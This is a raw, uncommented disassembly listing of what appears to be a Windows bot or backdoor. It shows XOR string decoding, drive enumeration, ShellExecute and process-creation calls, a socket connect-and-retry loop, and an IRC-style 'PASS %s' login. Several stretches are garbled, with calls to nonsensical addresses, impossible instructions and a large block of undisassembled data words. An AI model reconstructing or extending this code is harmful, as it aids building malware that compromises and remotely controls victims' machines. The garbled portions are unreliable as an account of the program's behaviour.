		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		add	esp, 28h


loc_40BF6C:				; CODE XREF: seg000:0040BF14j
					; seg000:0040BF26j
		cmp	[ebp-14h], esi
		jz	loc_40C1AC
		cmp	dword ptr [ebp-44h], 1
		jz	loc_40C067
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_421660
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_421660
		fstp	qword ptr [esp]
		push	offset unk_42BEC8
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40BFE7
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		add	esp, 14h


loc_40BFE7:				; CODE XREF: seg000:0040BFC5j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_40C1AC
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	ds:dword_43A2DC
		cmp	[ebp-30h], esi
		jnz	loc_40C1AC
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_42BE90
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		add	esp, 24h
		jmp	loc_40C1AC
; ---------------------------------------------------------------------------


loc_40C067:				; CODE XREF: seg000:0040BF79j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_421660
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_421660
		fstp	qword ptr [esp]
		push	offset unk_42BE3C
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40C0CF
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		add	esp, 14h


loc_40C0CF:				; CODE XREF: seg000:0040C0ADj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_415550
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415550
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_438F8C
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 4E76BF9Ch
		dec	ebx
		cmp	eax, edi
		jnz	short loc_40C151
		call	ds:dword_43A2C8
		call	loc_409DF9
		push	esi
		call	ds:dword_421114


loc_40C151:				; CODE XREF: seg000:0040C13Dj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_42BDF0
		jmp	short loc_40C16B
; ---------------------------------------------------------------------------


loc_40C15F:				; CODE XREF: seg000:0040BD18j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_42BDB0


loc_40C16B:				; CODE XREF: seg000:0040C15Dj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40C19F
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		add	esp, 14h


loc_40C19F:				; CODE XREF: seg000:0040C17Dj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		pop	ecx


loc_40C1AC:				; CODE XREF: seg000:0040BF6Fj
					; seg000:0040BFF8j ...
		push	dword ptr [ebp-18h]
		call	ds:dword_43A39C
		push	dword ptr [ebp-48h]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 713E7B2Bh


loc_40C1C4:				; CODE XREF: seg000:0040BDF1p
		add	al, 8Bh
		inc	esp
		and	al, 4
		xor	ecx, ecx
		cmp	[esp+8], ecx
		jle	short locret_40C1E1


loc_40C1D1:				; CODE XREF: seg000:0040C1DFj
		mov	dl, ds:byte_42C164
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+8]
		jl	short loc_40C1D1

locret_40C1E1:				; CODE XREF: seg000:0040C1CFj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40C1E2	proc near		; CODE XREF: seg000:0040F775p
					; seg000:0040F8CCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4176E9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40C1E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1FC	proc near		; CODE XREF: seg000:004067F1p
					; seg000:0040698Dp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_43E738
		push	0
		push	edi
		call	sub_415550
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40C221:				; CODE XREF: sub_40C1FC+5Bj
					; sub_40C1FC+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_417240
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_4172C0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40C25F
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40C221
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40C221
; ---------------------------------------------------------------------------


loc_40C25F:				; CODE XREF: sub_40C1FC+4Bj
		dec	esi
		mov	eax, edi


loc_40C262:				; CODE XREF: sub_40C1FC+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40C271
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40C262
; ---------------------------------------------------------------------------


loc_40C271:				; CODE XREF: sub_40C1FC+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C27B	proc near		; CODE XREF: sub_40C427+51p
					; sub_40C427+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_43A3C8
		sub	eax, 0
		jz	short loc_40C2BE
		dec	eax
		jz	short loc_40C2B8
		dec	eax
		dec	eax
		jz	short loc_40C2B2
		dec	eax
		jz	short loc_40C2AC
		dec	eax
		jz	short loc_40C2A6
		dec	eax
		jz	short loc_40C2A0
		mov	eax, offset word_42B78C
		retn
; ---------------------------------------------------------------------------


loc_40C2A0:				; CODE XREF: sub_40C27B+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_40C2A6:				; CODE XREF: sub_40C27B+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40C2AC:				; CODE XREF: sub_40C27B+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40C2B2:				; CODE XREF: sub_40C27B+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40C2B8:				; CODE XREF: sub_40C27B+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40C2BE:				; CODE XREF: sub_40C27B+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40C27B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2C4	proc near		; CODE XREF: sub_40C30C+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_43A264
		test	eax, eax
		jz	short loc_40C2F9
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_40C2F9:				; CODE XREF: sub_40C2C4+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C2C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C30C	proc near		; CODE XREF: sub_40C427+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40C2C4
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C3E4
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C3E4
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C3E4
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_417730
		push	edx
		push	eax
		call	sub_40C1FC
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_417730
		push	edx
		push	eax
		call	sub_40C1FC
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_417730
		push	edx
		push	eax
		call	sub_40C1FC
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40C413
; ---------------------------------------------------------------------------


loc_40C3E4:				; CODE XREF: sub_40C30C+2Cj
					; sub_40C30C+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4154CD
		add	esp, 18h


loc_40C413:				; CODE XREF: sub_40C30C+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C30C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C427	proc near		; CODE XREF: sub_40C4F9+17p
					; sub_40C4F9+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40C30C
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4158F0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40C49A
		push	ebx
		push	ebx
		call	sub_40C27B
		pop	ecx
		push	eax
		push	offset dword_42C0F0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 14h
		jmp	short loc_40C4CE
; ---------------------------------------------------------------------------


loc_40C49A:				; CODE XREF: sub_40C427+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40C27B
		pop	ecx
		push	eax
		push	offset dword_42C0A0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 20h


loc_40C4CE:				; CODE XREF: sub_40C427+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40B151
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C427	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C4F9	proc near		; CODE XREF: seg000:00412051p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40C51A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C427
		add	esp, 10h
		jmp	short loc_40C57B
; ---------------------------------------------------------------------------


loc_40C51A:				; CODE XREF: sub_40C4F9+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_43A2D8
		lea	esi, [eax+2]
		push	esi
		call	sub_415DA9
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_43A2D8
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40C572


loc_40C53E:				; CODE XREF: sub_40C4F9+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C561
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C427
		add	esp, 10h


loc_40C561:				; CODE XREF: sub_40C4F9+54j
		push	esi
		call	sub_415CD0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40C53E


loc_40C572:				; CODE XREF: sub_40C4F9+43j
		push	edi
		call	sub_415E1D
		pop	ecx
		pop	edi
		pop	esi


loc_40C57B:				; CODE XREF: sub_40C4F9+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40C4F9	endp

; ---------------------------------------------------------------------------


loc_40C57E:				; DATA XREF: seg000:0040C677o
		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	ds:dword_43F504
		call	ds:dword_43A400
		call	sub_415142
		call	ds:dword_43A2C8
		call	ds:dword_43A2C8
		mov	ebx, ds:dword_421060
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_415550
		push	44h
		lea	eax, [ebp-54h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415550
		add	esp, 18h
		mov	[ebp-54h], esi
		mov	esi, 104h
		lea	eax, [ebp-25Ch]
		push	esi
		push	eax
		mov	dword ptr [ebp-48h], offset byte_438F8C
		mov	dword ptr [ebp-28h], 1
		mov	[ebp-24h], di
		call	near ptr 0A5F64E9Dh
		xchg	eax, edx
		lea	eax, [ebp-158h]
		push	esi
		push	eax
		push	edi
		call	near ptr 0E0A9FBFBh
		bound	ecx, [ebp-72AF0FBBh]
		inc	ebp
		lodsb
		push	eax
		lea	eax, [ebp-25Ch]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp-158h]
		push	edi
		push	eax
		push	edi
		call	near ptr 0ABF199ADh
		mov	ebp, 1474C085h
		push	64h
		call	ebx
		push	dword ptr [ebp-10h]
		mov	esi, ds:dword_42106C
		call	esi
		push	dword ptr [ebp-0Ch]
		call	esi
		mov	eax, [ebp+10h]
		mov	dword ptr [eax+0B0h], offset dword_43E770
		mov	eax, [esp]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_421114
		pop	edi
		pop	esi
		pop	ebx
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset loc_40C57E
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	ds:dword_42C158, ebx
		jz	short loc_40C69C
		call	sub_409F81


loc_40C69C:				; CODE XREF: seg000:0040C695j
		mov	esi, ds:dword_42104C
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_4687E8, eax
		call	esi
		push	eax
		call	sub_41551F
		pop	ecx
		call	sub_4089D6
		push	2
		call	ds:dword_43A414
		push	7530h
		push	offset aIds443v	; "ids443v"
		push	ebx
		push	ebx
		call	near ptr 53D627A5h
		mov	cl, 50h
		call	near ptr 0F38E263Ch
		mov	edi, 1023Dh
		add	[ebp+8], dh
		push	1
		call	ds:dword_421114
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	ds:dword_43A2E0
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_40CB50
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_40CB4A
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_40CB4A
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 0F17AE67h
		push	eax
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 0DA9E890Bh
		cwde
		push	eax
		call	near ptr 6BAC302Fh
		and	al, 8Dh
		test	[eax], edx
		sti
; ---------------------------------------------------------------------------
		db 0FFh
		dd 858D50FFh, 0FFFFF90Ch, 858D5350h, 0FFFFFD14h, 0B9E85053h
		dd 8D0000ABh, 0FFFB1085h, 858D50FFh, 0FFFFF90Ch, 6C806850h
		dd 858D0042h, 0FFFFFA0Ch, 0BBE85056h, 8D000092h, 0FFFC1085h
		dd 858D50FFh, 0FFFFFD14h, 92FEE850h, 0C4830000h, 0FC08530h
		dd 1A685h, 581D3900h, 0BE004689h, 42C1B8h, 33563174h, 950EE8FFh
		dd 0E8830000h, 23745904h, 8D5CE8h, 991A6A00h, 56F9F759h
		dd 8861C280h, 42C1B897h, 0EDE84700h, 83000094h,	3B5904E8h
		dd 8DDD72F8h, 0FFFC1085h, 8D5056FFh, 0FFFE1885h, 906868FFh
		dd 0E8500042h, 8CC9h, 8D10C483h, 0FFFE1885h, 15FF50FFh
		dd 421094h, 74FFF883h, 18858D12h, 68FFFFFEh, 80h, 0BB49E850h
		dd 8B4DAC2Eh, 42112435h, 18858D00h, 53FFFFFEh, 14858D50h
		dd 33FFFFFDh, 0D6FF50FFh, 3375C085h, 108815FFh,	0FB3B0042h
		dd 0F8832975h, 83057420h, 1F7505F8h, 685F016Ah,	3A98h
		dd 106015FFh, 858D0042h, 0FFFFFE18h, 858D5053h,	0FFFFFD14h
		dd 8DC7EB50h, 0FFFE1885h, 0ACE850FFh, 59FFFFD4h, 0FE18858Dh
		dd 76AFFFFh, 4555E850h,	6AFAA144h, 0E4458D10h, 0ADE85053h
		dd 6A00008Ch, 9C458D44h, 5053565Eh, 8C9FE8h, 18C48300h
		dd 0C79C7589h, 8F8CA845h, 89660043h, 16ACC5Dh, 0C875895Eh
		dd 241D3E8h, 56509E56h,	10000068h, 49D8E800h, 8DB83613h
		dd 0FFFD148Dh, 8D5051FFh, 0FFFE1885h, 858D50FFh, 0FFFFF678h
		dd 43312868h, 0D2E85000h, 8300008Bh, 458D14C4h,	458D50E4h
		dd 858D509Ch, 0FFFFFC10h, 286A5350h, 858D5356h,	0FFFFF678h
		dd 858D5053h, 0FFFFFE18h, 22ADE850h, 854D6D7Ah,	682874C0h
		dd 0C8h, 106015FFh, 75FF0042h, 6C358BE4h, 0FF004210h, 0E875FFD6h
		dd 15FFD6FFh, 43A2C8h, 1415FF53h, 83004211h, 4694803Dh
		dd 437E0200h, 469484A1h, 470FF00h, 90D6E8h, 0F08B5900h
		dd 0E856FF6Ah, 0C3E7A90Ah, 15FF56EBh, 42106Ch, 469484A1h
		dd 8583900h, 0D0681974h, 0FF000007h, 42106015h,	9484A100h
		dd 70FF0046h, 0B1DEE808h, 39F7C535h, 42C1601Dh,	39157400h
		dd 43A4381Dh, 8D0D7500h, 0FFFA0C85h, 0D7E850FFh, 59FFFFE9h
		dd 0FF1C858Dh, 0FC68FFFFh, 50004330h, 8B00E8h, 858D5300h
		dd 0FFFFFF1Ch, 9EE85053h, 8D000085h, 0FFFF1C85h, 6AE850FFh
		dd 68FFFFE7h, 0B80h, 0E7786853h, 59E80043h, 0E800008Bh
		dd 8B2Dh, 88687F6Ah, 680042C1h,	4687F4h, 896C1D89h, 0DE80046h
		dd 0A10000A3h, 42C144h,	74BF3F6Ah, 68004688h, 42C194h
		dd 8944A357h, 0F1E80046h, 6A0000A2h, 88B4BE3Fh,	98680046h
		dd 560042C1h, 0A2DFE8h,	48C48300h, 89481D89h, 5D890046h
		dd 501D39FCh, 750043A4h, 0E0458D16h, 15FF5053h,	43A2ACh
		dd 775C085h, 753068h, 682CEB00h, 4687F0h, 89681D89h, 0DEE80046h
		dd 83000000h, 458902F8h, 0BE840FF8h, 39000000h,	4689681Dh
		dd 0FF037400h, 0B868FC4Dh, 0FF00000Bh, 42106015h, 0FC45FF00h
		dd 6FC7D83h, 7D83A77Ch,	840F02F8h, 95h,	74F45D39h, 687F6A40h
		dd 42C188h, 4687F468h, 0A25AE800h, 44A10000h, 6A0042C1h
		dd 0C194683Fh, 0A3570042h, 468944h, 0A243E8h, 683F6A00h
		dd 42C198h, 0A236E856h,	0C4830000h, 0F45D8924h,	0FFFF55E9h
		dd 0A01D38FFh, 0F0042C1h, 0FFFF4984h, 687F6AFFh, 42C1A0h
		dd 4687F468h, 0A20EE800h, 48A10000h, 6A0042C1h,	0C1AC683Fh
		dd 0A3570042h, 468944h,	0A1F7E8h, 683F6A00h, 42C1B0h, 0A1EAE856h
		dd 0C4830000h, 0F445C724h, 1, 0FFFF05E9h, 85F8E8FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_40CB4A:				; CODE XREF: seg000:0040C714j
					; seg000:0040C724j
		call	ds:dword_43A2C8


loc_40CB50:				; CODE XREF: seg000:0040C707j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB59	proc near		; DATA XREF: seg000:0041080Eo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40CB7E:				; CODE XREF: sub_40CB59+E6j
					; sub_40CB59+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	ds:dword_43A368
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A03F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40CCAB
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_415550
		push	0
		lea	eax, [ebp+var_2C]
		push	ds:dword_46895C
		push	ds:dword_42C16C
		push	eax
		call	sub_414419
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43F510
		push	edi
		push	eax
		call	sub_416D20
		add	esp, 28h
		push	6
		push	1
		push	2
		call	ds:dword_43A3E8
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_43F504[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_43A310
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CC44
		push	esi
		call	ds:dword_43A400
		call	sub_40A068
		push	7D0h


loc_40CC39:				; CODE XREF: sub_40CB59+146j
		call	ds:dword_421060
		jmp	loc_40CB7E
; ---------------------------------------------------------------------------


loc_40CC44:				; CODE XREF: sub_40CB59+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_433134
		call	sub_40B1C5
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40CCC1
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_43A400
		test	edi, edi
		jz	loc_40CB7E
		cmp	edi, 1
		jnz	short loc_40CCA1
		push	0DBBA0h
		jmp	short loc_40CC39
; ---------------------------------------------------------------------------


loc_40CCA1:				; CODE XREF: sub_40CB59+13Fj
		cmp	edi, 2
		jz	short loc_40CCAF
		jmp	loc_40CB7E
; ---------------------------------------------------------------------------


loc_40CCAB:				; CODE XREF: sub_40CB59+5Aj
		xor	eax, eax
		jmp	short loc_40CCBB
; ---------------------------------------------------------------------------


loc_40CCAF:				; CODE XREF: sub_40CB59+14Bj
		push	[ebp+var_34]
		call	sub_415295
		pop	ecx
		push	2
		pop	eax


loc_40CCBB:				; CODE XREF: sub_40CB59+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40CB59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCC1	proc near		; CODE XREF: sub_40CB59+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_415D50
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40CCDF:				; CODE XREF: sub_40CCC1+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40CCDF
		cmp	ds:byte_468960,	bl
		jz	short loc_40CD06
		push	offset byte_468960
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_412CEC
		add	esp, 0Ch


